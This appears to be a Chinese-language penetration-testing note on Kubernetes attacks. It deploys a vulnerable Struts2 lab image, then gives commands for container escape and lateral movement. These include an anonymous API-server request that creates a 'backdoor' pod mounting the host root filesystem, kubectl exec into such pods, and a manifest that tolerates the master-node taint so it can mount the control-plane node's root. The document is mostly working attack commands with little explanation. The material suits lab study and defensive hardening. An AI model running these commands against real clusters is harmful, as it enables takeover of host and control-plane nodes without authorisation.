云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

# 创建名为struts的Deployment，部署Struts2 2.3.28漏洞环境镜像kubectl create deployment struts --image=vulhub/struts2:2.3.28# 创建NodePort类型的Service，将容器8080端口暴露到集群外部kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort# 查看Pod运行状态和Service的端口信息，确认部署结果kubectl get pod,svc

https://blog.csdn.net/qq_23936389/article/details/131467165ls -al /cat /proc/1/cgroup

危险挂载特权启动docker漏洞内核漏洞

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

该后门pod将宿主机的根目录挂载到了该pod的/host目录下

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

./kubectl -s 10.96.0.1:443 create -f test.yaml

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

参考文章：https://blog.csdn.net/weixin_61269220/article/details/127294286

kubectl taint nodes node1 xtz=value1:NoSchedule

kubectl taint nodes node1 xtz=value1:NoSchedule-

kubectl describe nodes node1 | grep Taints

参考：https://cn-sec.com/archives/1336486.html

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

cat > x.yaml << EOFapiVersion: v1kind: Podmetadata:  name: control-master-xspec: tolerations:   - key: node-role.kubernetes.io/master     operator: Exists     effect: NoSchedule containers:   - name: control-master-x     image: ubuntu:18.04     command: ["/bin/sleep", "3650d"]     volumeMounts:      - name: master        mountPath: /master volumes:  - name: master    hostPath:     path: /     type: DirectoryEOF

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes./kubectl apply -f test.yaml -n default --kubeconfig=config./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"